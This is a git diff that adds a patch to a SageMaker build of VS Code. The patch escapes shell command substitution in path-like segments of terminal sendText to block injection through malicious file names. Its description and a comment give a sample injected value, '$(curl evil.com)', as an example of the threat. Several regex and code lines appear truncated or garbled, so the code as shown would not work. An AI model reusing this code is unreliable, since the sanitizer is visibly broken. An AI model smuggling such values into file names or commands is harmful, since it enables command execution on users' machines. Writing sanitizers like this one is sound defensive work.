diff --git a/patches/sagemaker.series b/patches/sagemaker.series index a481342..cac723b 100644 --- a/patches/sagemaker.series +++ b/patches/sagemaker.series @@ -48,4 +48,5 @@ sagemaker/sagemaker-extensions-sync.diff sagemaker/fix-port-forwarding.diff sagemaker/display-both-versions-in-about.diff sagemaker/validate-http-request-referer.diff +sagemaker/sanitize-terminal-sendtext-paths.diff sagemaker/override-picomatch-post-startup-notifications.diff diff --git a/patches/sagemaker/sanitize-terminal-sendtext-paths.diff b/patches/sagemaker/sanitize-terminal-sendtext-paths.diff new file mode 100644 index 0000000..6970919 --- /dev/null +++ b/patches/sagemaker/sanitize-terminal-sendtext-paths.diff @@ -0,0 +1,86 @@ +Sanitize command substitution in path-like segments of terminal sendText + +File/folder names containing shell metacharacters (e.g., $(curl evil.com) +or `cmd`) can trigger command injection when extensions send commands via +terminal.sendText(). This patch escapes $() and backtick command +substitution patterns inside path-like tokens (both double-quoted and +unquoted) before the text is written to the terminal process. + +Single-quoted paths are left alone since the shell does not interpret +special characters inside single quotes. Non-path tokens like $HOME in +"echo $HOME" are also left untouched to preserve intentional variable +usage. + +Index: b/src/vs/platform/terminal/common/terminalEnvironment.ts +=================================================================== +--- a/src/vs/platform/terminal/common/terminalEnvironment.ts ++++ b/src/vs/platform/terminal/common/terminalEnvironment.ts +@@ -126,3 +126,46 @@ export function sanitizeCwd(cwd: string) + export function shouldUseEnvironmentVariableCollection(slc: IShellLaunchConfig): boolean { + return !slc.strictEnv; + } ++ ++/** ++ * Sanitize shell command substitution patterns in path-like segments ++ * of terminal commands to prevent injection via malicious folder/file names. ++ * ++ * Targets: $(...), ${...}, and `...` inside path-like tokens. ++ * A path-like token starts with /, ~/, ./, ../ or is a quoted string containing /. ++ */ ++export function sanitizeCdPathsInCommand(text: string): string { ++ // Strip newlines and null bytes to prevent command injection via line splitting ++ let result = text.replace(/[\r\n\x00]/g, ' '); ++ ++ // Handle double-quoted path segments: "...path..." ++ // Only escape command substitution patterns $( and ` and ${ — NOT bare $VAR ++ result = result.replace( ++ /"((?:[^"\\]|\\.)*\/(?:[^"\\]|\\.)*)"/g, ++ (_match: string, inner: string) => { ++ const sanitized = inner ++ .replace(/(?]|^)([^\s;|&<>]*\/[^\s;|&<>]*)/gm, ++ (pathToken: string) => { ++ // Skip already-quoted paths — handled above or safe (single quotes) ++ if (pathToken.startsWith("'") || pathToken.startsWith('"')) { ++ return pathToken; ++ } ++ return pathToken ++ .replace(/(? { ++ // Sanitize command substitution patterns ($(), ${}, ``) in path-like segments ++ // to prevent injection via malicious folder/file names (e.g., $(curl evil.com)) ++ text = sanitizeCdPathsInCommand(text); + // Apply bracketed paste sequences if the terminal has the mode enabled, this will prevent + // the text from triggering keybindings and ensure new lines are handled properly + if (bracketedPasteMode && this.xterm?.raw.modes.bracketedPasteMode) {